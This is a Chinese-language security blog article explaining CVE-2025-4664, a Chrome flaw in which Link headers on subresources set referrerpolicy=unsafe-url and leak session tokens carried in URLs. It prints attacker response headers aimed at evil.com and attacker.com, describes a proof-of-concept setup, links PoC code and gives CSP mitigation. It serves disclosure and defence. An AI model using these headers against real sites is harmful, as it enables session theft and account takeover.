CVE-2025-4664:利用 Chrome 0day 漏洞泄露会话令牌

原文链接: https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247531480&idx=1&sn=2e497359655cae7f01a5cd5eaf883a10

CVE-2025-4664:利用 Chrome 0day 漏洞泄露会话令牌

Ots安全 2025-07-01 05:34

CVE-2025-4664:利用 Chrome 0day 漏洞泄露会话令牌

此漏洞通过捕获 URL 中的会话令牌来实现帐户接管 (ATO),通过使用目标应用程序、SSO 提供程序和攻击者服务器的概念验证设置进行演示,并通过视频演示展示对 Chrome 版本 136.0.7103.113 与修补后的 138.0.7204.49 的攻击,这与网络安全中引荐来源策略滥用的研究相一致(例如,W3C 引荐来源策略候选建议,2017 年)。

该问题源于 Chrome 在子资源的链接标头中处理引荐来源策略的罕见行为,这是其他浏览器中未复制的功能,强调了内容安全策略 (CSP) 补丁纠正的一个关键疏忽,更多详细信息请参阅 Chromium 的错误报告 (问题 415810136)。

不久前,我偶然发现了安全研究员 Vsevolod Kokorin(@slonser_)的一条有趣的推文:

CVE-2025-4664:利用 Chrome 0day 漏洞泄露会话令牌

slonser_ 的推文

这三行代码片段几乎很无聊 – 创建一个元素,指向src用户控制的 URL,将其放入 DOM。

随后的帖子引起了 Google 安全工程师 @terjanq 的注意,他回复道:

CVE-2025-4664:利用 Chrome 0day 漏洞泄露会话令牌

terjanq 的回复

我检查了NIST 页面并在链接的Chrome 发行说明中发现了这一点:

谷歌安全团队刚刚确认,这个漏洞(编号为 CVE-2025-4664)正在被广泛利用。

一个被积极利用的 0day 漏洞?我必须深入挖掘。

为了理解此漏洞的工作原理,让我快速介绍一些关键的网络概念。

快速入门
– HTTP Referer:当您的浏览器从一个域加载包含来自另一个域的资源(图像、CSS)的页面时,它会发送一个Referer标头,告诉第二个域该请求来自哪里。

  • 引荐来源政策:网站可以控制共享多少引荐来源信息 – 从不发送任何内容(no-referrer)到发送包含敏感查询参数的完整 URL(unsafe-url)。

  • 链接标头:一个 HTTP 标头,用于告知浏览器需要预加载或预取哪些资源以进行优化。

Chrome 的奇怪行为

Chrome 具有其他浏览器所没有的有趣功能:它处理Link子资源请求的 HTTP 标头。

标Link头通常用于资源提示:

Link: <https://cdn.example.com/style.css>; rel=&#34;preload&#34;; as=&#34;style&#34;

这会告诉 Chrome 尽早开始下载 CSS 文件。这是正常的优化操作。

但这里有一个问题——HeaderLink也可以指定 referrer 策略,Chrome 会遵守这个策略,即使是图片这样的子资源。

因此攻击者可以制作如下的响应:

Link: <https://attacker.com/log>; rel=&#34;preload&#34;; as=&#34;image&#34;; referrerpolicy=&#34;unsafe-url&#34;

当 Chrome 处理此标头时,它会向攻击者的服务器发出预加载请求并发送完整的引荐来源 URL – 包括任何敏感的查询参数。

其他浏览器会忽略子资源标头中的 referrer 策略Link。只有 Chrome 认为这值得实现。

通过引荐来源泄露导致账户接管

危险之处就在于此。许多应用程序在身份验证后会将敏感数据放入 URL 中:

https://app.com/profile?session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...

如果该页面加载了攻击者控制的图像:

<imgsrc=&#34;https://attacker.com/track.png&#34; />

攻击者回应:

HTTP/1.1 200 OK
Content-Type: image/png
Link: <https://evil.com/steal>; rel=&#34;preload&#34;; as=&#34;image&#34;; referrerpolicy=&#34;unsafe-url&#34;

[PNG image data]

Chrome 处理Link标头,向发出预加载请求https://evil.com/steal,并包含带有受害者会话令牌的完整引荐来源 URL。

攻击者现在拥有有效的会话令牌并可以冒充用户。

概念验证

为了模拟 ATO,我构建了一个包含三个组件的完整演示:
– 目标应用程序(example.com:5000):具有将会话令牌放入 URL 中的 OAuth 流程的主应用程序

  • SSO 提供商(sso.example.com:5001):处理身份验证

  • 攻击者(attacker.test:9000):利用 CVE-2025-4664 窃取代币

攻击流程:
1. 用户完成 OAuth 登录后,重定向至/profile?session=

  1. 个人资料页面加载攻击者的图像:

  2. 攻击者使用恶意Link标头进行响应

  3. Chrome 发出预加载请求,泄露带有会话令牌的完整引用者

CVE-2025-4664:利用 Chrome 0day 漏洞泄露会话令牌

事件流

不过,CVE-2025-4664 并不仅限于图像或 OAuth 重定向。任何攻击者控制的子资源都可能泄露包含敏感查询参数的完整页面 URL。

视频演示

以下是对易受攻击的 Chrome 版本 (136.0.7103.113) 与最新稳定版本 (138.0.7204.49) 的利用情况的并排比较:

缓解策略

Chrome 已修复此问题,因此它仅影响旧版本。主要的防御措施是严格的 CSP:

Content-Security-Policy: img-src 'self'https://trusted-cdn.com

这可以防止从不受信任的域加载图像。

如果您好奇 Chrome 是如何修复此问题的,请查看 Chromium 错误报告中的提交:https://issues.chromium.org/issues/415810136。

PoC

完整的 PoC 存储库:amalmurali47/cve-2025-4664。

https://github.com/amalmurali47/cve-2025-4664

如果想要进行无需任何设置的快速测试,请尝试Rhynorater 的 PoC。

https://poc.rhynorater.com/qt/test.html?j=2.#%3Cimg%20src%3D%22https%3A%2F%2Fx.poc.rhynorater.com%2FleakImage.php%3Furl%3Dhttps%3A%2F%2Fyywkld65s2ahmutz0320svb8l3a5jcf5t.oast.site%22%3E

感谢您抽出

CVE-2025-4664:利用 Chrome 0day 漏洞泄露会话令牌

.

CVE-2025-4664:利用 Chrome 0day 漏洞泄露会话令牌

.

CVE-2025-4664:利用 Chrome 0day 漏洞泄露会话令牌

来阅读本文

CVE-2025-4664:利用 Chrome 0day 漏洞泄露会话令牌

点它,分享点赞在看都在这里